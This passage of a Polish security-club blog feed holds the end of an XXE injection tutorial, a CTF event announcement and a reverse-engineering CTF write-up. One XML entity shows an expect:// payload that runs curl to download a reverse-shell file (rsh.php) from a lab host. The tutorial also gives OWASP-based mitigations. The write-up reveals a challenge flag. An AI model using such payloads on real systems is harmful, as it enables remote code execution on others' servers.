&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Przykład encji, która pomimo zastosowania dwukropka zostanie bezproblemowo rozwiązana:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ENTITY curl SYSTEM &amp;#34;expect://curl$IFS&amp;#39;192.168.69.128:80/rsh.php&amp;#39;$IFS&amp;#39;--output&amp;#39;$IFS&amp;#39;rsh.php&amp;#39;&amp;#34;&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h2>Jak zmniejszyć zagrożenie&lt;span class="hx:absolute hx:-mt-20" id="jak-zmniejszyć-zagrożenie">&lt;/span>
&lt;a href="#jak-zmniejszy%c4%87-zagro%c5%bcenie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Będąc świadomym powyżej przedstawionego zagrożenia, zadajmy sobie pytanie: jak
się zabezpieczyć? Przede wszystkim należy zapoznać się z własnym backendem
i przeanalizować sposób, w jaki realizujemy przetwarzanie XMLa. Strona OWASP udostępnia
&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html"target="_blank" rel="noopener">prevention cheat sheet&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>,
który umożliwia nam rozpoznanie ryzyka w zależności od technologii.&lt;/p>
&lt;p>Dla przykładu, jeżeli backend napisany jest w C/C++ jesteśmy zobowiązani przyjrzeć
się bibliotece libxml2 lub libxerces-c i zgodnie z instrukcjami ustawić odpowiednie
parametry/flagi w kodzie aplikacji.&lt;/p>
&lt;p>Co do głównych zasad to możemy je zdefiniować następująco:&lt;/p>
&lt;ul>
&lt;li>jeśli nie są potrzebne, to należy wyłączyć rozwiązywanie zewnętrznych
encji - z reguły jest to funkcjonalność zbędna;&lt;/li>
&lt;li>należy zmniejszyć liczbę możliwych zagnieżdżeń encji, wielkość pliku wejściowego
oraz ustawić sensowny limit czasu na przetwarzanie plików XML;&lt;/li>
&lt;li>należy czytać poradniki, sprawdzać na bieżąco wykaz CVE i nie wyznawać zasady,
że &amp;ldquo;jeśli działa to nie ruszaj&amp;rdquo;.&lt;/li>
&lt;/ul>
&lt;h2>Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie">&lt;/span>
&lt;a href="#podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Dotarliśmy już do końca naszej dzisiejszej przygody z XXE Injection. To jednak
nie jest jeszcze koniec wyprawy. Internet pełen jest informacji oraz miejsc, gdzie
bez zbędnych formalności omawianą podatność można przećwiczyć, czy dowiedzieć się
o niej czegoś więcej. Polecam chociażby
&lt;a href="https://portswigger.net/web-security/xxe"target="_blank" rel="noopener">PortSwigger Academy&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>,
gdzie szerzej omówione zostało pozyskiwanie informacji poprzez error messages,
czy chociażby udostępniony został &lt;strong>lab&lt;/strong> wykorzystujący LFI w formie Out-Of-Band.&lt;/p>
&lt;h2>Źródła&lt;span class="hx:absolute hx:-mt-20" id="źródła">&lt;/span>
&lt;a href="#%c5%bar%c3%b3d%c5%82a" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;ul>
&lt;li>&lt;a href="https://youtu.be/gjm6VHZa_8s?si=lT5Q6KjqJL6eYakx"target="_blank" rel="noopener">https://youtu.be/gjm6VHZa_8s?si=lT5Q6KjqJL6eYakx&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.w3schools.com/xml/"target="_blank" rel="noopener">https://www.w3schools.com/xml/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://cqr.company/web-vulnerabilities/xml-external-entity-injection/"target="_blank" rel="noopener">https://cqr.company/web-vulnerabilities/xml-external-entity-injection/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.invicti.com/learn/out-of-band-xml-external-entity-oob-xxe/"target="_blank" rel="noopener">https://www.invicti.com/learn/out-of-band-xml-external-entity-oob-xxe/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://portswigger.net/web-security/xxe"target="_blank" rel="noopener">https://portswigger.net/web-security/xxe&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://exploit-notes.hdks.org/exploit/web/security-risk/blind-xxe/"target="_blank" rel="noopener">https://exploit-notes.hdks.org/exploit/web/security-risk/blind-xxe/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://marketsplash.com/tutorials/php/php-reverse-shell/"target="_blank" rel="noopener">https://marketsplash.com/tutorials/php/php-reverse-shell/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://learn.microsoft.com/en-us/previous-versions/windows/desktop/dd892769%28v=vs.85%29"target="_blank" rel="noopener">https://learn.microsoft.com/en-us/previous-versions/windows/desktop/dd892769(v=vs.85)&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.dvteclipse.com/documentation/svlinter/How_to_use_special_characters_in_XML.3F.html"target="_blank" rel="noopener">https://www.dvteclipse.com/documentation/svlinter/How_to_use_special_characters_in_XML.3F.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity"target="_blank" rel="noopener">https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://sapt.medium.com/research-on-xml-external-entity-injection-xxe-cyber-sapiens-internship-task-10-d6067d3dc934"target="_blank" rel="noopener">https://sapt.medium.com/research-on-xml-external-entity-injection-xxe-cyber-sapiens-internship-task-10-d6067d3dc934&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://phonexicum.github.io/infosec/xxe.html"target="_blank" rel="noopener">https://phonexicum.github.io/infosec/xxe.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://medium.com/@klose7/xxe-attacks-part-2-xml-dtd-related-attacks-a572e8deb478"target="_blank" rel="noopener">https://medium.com/@klose7/xxe-attacks-part-2-xml-dtd-related-attacks-a572e8deb478&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://owasp.org/www-community/vulnerabilities/XML_External_Entity_%28XXE%29_Processing"target="_blank" rel="noopener">https://owasp.org/www-community/vulnerabilities&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9"target="_blank" rel="noopener">https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://infosecwriteups.com/exploiting-xml-external-entity-xxe-injection-vulnerability-f8c4094fef83"target="_blank" rel="noopener">https://infosecwriteups.com/exploiting-xml-external-entity-xxe-injection-vulnerability-f8c4094fef83&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://airman604.medium.com/from-xxe-to-rce-with-php-expect-the-missing-link-a18c265ea4c7"target="_blank" rel="noopener">https://airman604.medium.com/from-xxe-to-rce-with-php-expect-the-missing-link-a18c265ea4c7&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://caveconfessions.com/xxe-ugly-side-of-xml/?source=post_page-----a18c265ea4c7--------------------------------"target="_blank" rel="noopener">https://caveconfessions.com/xxe-ugly-side-of-xml/?source=post_page&amp;mdash;&amp;ndash;a18c265ea4c7&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;ndash;&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Break The Syntax CTF 2024</title><link>https://whitehats.pwr.edu.pl/blog/2024-05-19-bts-5th-edition/</link><pubDate>Sun, 19 May 2024 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2024-05-19-bts-5th-edition/</guid><description>
&lt;h2>[PL] Break the Syntax 2024&lt;span class="hx:absolute hx:-mt-20" id="pl-break-the-syntax-2024">&lt;/span>
&lt;a href="#pl-break-the-syntax-2024" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Break The Syntax w 2024 roku trwał 42 godziny, od piątku 17.05.2024 18:00 aż do 12:00 w niedzelę 19.05. Partnerem głównym została firma EY. Zgromadziliśmy 28 drużyn w fomie stacjonarnej. Łącznie z uczestnikami online udział brało 147 zespołów, które rozwiązały co najmniej jedno wyzwanie (nie było wyzwania typu sanity check).&lt;/p>
&lt;p>Writeupy możecie znaleźć &lt;a href="https://github.com/pwrWhiteHats/BtS-2024-Writeups"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./bts24-poster-horizontal.png">
&lt;figcaption>Break The Syntax 2024&lt;/figcaption>
&lt;/figure>
&lt;h2>[ENG] Break the Syntax 2024&lt;span class="hx:absolute hx:-mt-20" id="eng-break-the-syntax-2024">&lt;/span>
&lt;a href="#eng-break-the-syntax-2024" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Break The Syntax in 2024 lasted 42 hours, from Friday, May 17, 2024 6:00 p.m. until 12:00 a.m. on Sunday, May 19, with EY as the main partner. There were 28 teams participating on-site. Including online participants, there were 147 teams that solved at least one challenge (there was no sanity check challenge).&lt;/p>
&lt;p>You can find the writeups &lt;a href="https://github.com/pwrWhiteHats/BtS-2024-Writeups"target="_blank" rel="noopener">here&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./bts24-photo.png">
&lt;figcaption>Participants fighting for flags on Friday&lt;/figcaption>
&lt;/figure></description></item><item><title>Statyczna Analiza z Binary Ninja</title><link>https://whitehats.pwr.edu.pl/blog/2023-12-12-reverse-engineering-with-binary-ninja/</link><pubDate>Tue, 12 Dec 2023 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2023-12-12-reverse-engineering-with-binary-ninja/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2023-12-12-reverse-engineering-with-binary-ninja/background_hu_1665fbf4d402c1c0.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>Podczas turnieju pingCTF 2023 zorganizowanego przez Koło Naukowe PING z Politechniki Gdańskiej, rozwiązałem wyzwanie &amp;ldquo;Hangover&amp;rdquo;.&lt;/p>
&lt;h1>Write-up&lt;/h1>&lt;p>Analizę programu rozpoczynamy od sprawdzenia sekcji .rodata, gdzie znajdujemy dwa interesujące ciągi znaków: &amp;ldquo;wrong&amp;rdquo; oraz &amp;ldquo;good&amp;rdquo;.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./1_strings.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Dane w sekcji .rodata&lt;/figcaption>
&lt;/figure>
&lt;p>Zostały one użyte w dwóch funkcjach. Plik wykonywalny nie zawiera symboli, więc nazwy funkcji trzeba nadać ręcznie(skrót klawiszowy &amp;ldquo;N&amp;rdquo;).&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./2_names.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Funkcje "incorrect_flag" i "correct_flag"&lt;/figcaption>
&lt;/figure>
&lt;p>Funkcję main rozpoczyna wywołanie funkcji &lt;code>signal&lt;/code> (man 2 signal). Rejestrowana jest funkcja, która obsługuje sygnał 5 - SIGTRAP.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./3_main.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Zdekompilowana funkcja main&lt;/figcaption>
&lt;/figure>
&lt;p>Funkcja sigtrap_handler(ponownie nadajemy funkcji nazwę), ustawia wartości pięciu zmiennych globanych.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./4_sigtrap.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Funkcja obsługująca sygnał SIGTRAP&lt;/figcaption>
&lt;/figure>
&lt;p>Wracamy do funkcji main. Na końcu znajduje się &lt;code>breakpoint&lt;/code>, czyli instrukcja używana przez debuggery do zatrzymania wykonania programu. Zastępujemy &lt;code>breakpointa&lt;/code> &lt;code>NOPem&lt;/code> aby Binary Ninja kontynuował analizę funkcji main.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./5_nop.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Zastąpienie breakpointa instrukcją NOP &lt;/figcaption>
&lt;/figure>
&lt;p>W poprzednio niewidocznej wcześniej części programu sprawdzany jest czas. Jeśli program byłby debugowany ustawione przez &lt;code>signal_handler&lt;/code> wartości zmiennych zostały by nadpisane.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./6_after_nop.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Dekompilacja dalszej części funkcji main&lt;/figcaption>
&lt;/figure>
&lt;p>Funkcja sprawdzająca aktualny czas:&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./rdtsc.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Funkcja sprawdzająca aktualny czas z użyciem instrukcji rdtsc&lt;/figcaption>
&lt;/figure>
&lt;p>Po próbie wykrycia debuggera program rozpoczyna sprawdzanie poprawności podanej przez użytkownika flagi.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./7_after_nop.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Dekompilacja zaciemnionej części funkcji main&lt;/figcaption>
&lt;/figure>
&lt;p>Używając &lt;a href="https://docs.binary.ninja/dev/uidf.html#user-informed-data-flow"target="_blank" rel="noopener">User Informed Data Flow&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> ustawiamy wartości czterech zmiennych lokalnych (&lt;code>rdi_6&lt;/code>, &lt;code>rdx_1&lt;/code>, &lt;code>r9&lt;/code> i &lt;code>rsi_1&lt;/code>). Wartości powinny być takie jak te co zostają ustawione po wywołaniu &lt;code>sigtrap_handler&lt;/code> w odpowiedzi na wykonanie instrukcji breakpoint.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./8_suvv.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Przekazywanie dodatkowych informacji do dekompilatora&lt;/figcaption>
&lt;/figure>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./9_suvv.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">&lt;/figcaption>
&lt;/figure>
&lt;p>Efekt przekazania dodatkowych informacji do dekompilatora:&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./10_simplify.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Zaktualizowana dekompilacja fragmentu funkcji main&lt;/figcaption>
&lt;/figure>
&lt;p>W równaniach została jeszcze jedna zmienna, której wartości Binary Ninja nie zna - &lt;code>r14&lt;/code>. Program kopiuje ciąg znaków &amp;ldquo;ding{ring_ding_ding_daa_baa_baaaa}&amp;rdquo; do std::string a następnie wskaźnik do skopiowanego ciągu znaków jest przypisywany do r14.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./11_string.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Przepływ danych w funkcji main&lt;/figcaption>
&lt;/figure>
&lt;p>Ponownie używamy &lt;a href="https://docs.binary.ninja/dev/uidf.html#user-informed-data-flow"target="_blank" rel="noopener">User Informed Data Flow&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, tym razem do ustawienia wartość zmiennej r14 jako wskaźnik z wartością 0x403198.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./12_string.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Ustawianie wartości zmiennej zdefiniowanej przez użytkownika&lt;/figcaption>
&lt;/figure>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./13_address.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Adres ciągu znaków: "ding{ring_ding_ding_daa_baa_baaaa}" &lt;/figcaption>
&lt;/figure>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./14_suvv.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Ustawianie wartości zmiennej zdefiniowanej przez użytkownika&lt;/figcaption>
&lt;/figure>
&lt;p>Dzięki wykorzystaniu Binary Ninja oraz jego funkcji User Informed Data Flow, zdołaliśmy zdeobfuskować program.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./15_readable.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Dane w sekcji .rodata&lt;/figcaption>
&lt;/figure>
&lt;p>&lt;a href="https://api.binary.ninja/"target="_blank" rel="noopener">Binary Ninja Python API&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> pozwoli nam wyświetlić flagę, wystarczy zaledwie jedna linia kodu Pythona. Używamy zmiennych &lt;code>current_variable&lt;/code> i &lt;code>current_hlil&lt;/code>, więc istotne jest aby przed wykonaniem kodu kliknąć na nazwę zmiennej &lt;code>__str_1&lt;/code> w linii gdzie została zdefiniowana.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./16_flag.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Wyświetlenie flagi z pomocą Binary Ninja Python API&lt;/figcaption>
&lt;/figure>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&amp;gt;&amp;gt;&lt;/span> &lt;span class="kn">from&lt;/span> &lt;span class="nn">itertools&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">islice&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&amp;gt;&amp;gt;&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">chr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">current_hlil&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">xref&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">expr_id&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">condition&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">instruction_operands&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">constant&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">xref&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">islice&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">current_function&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_hlil_var_refs&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">current_variable&lt;/span>&lt;span class="p">),&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="kc">None&lt;/span>&lt;span class="p">))&lt;/span>
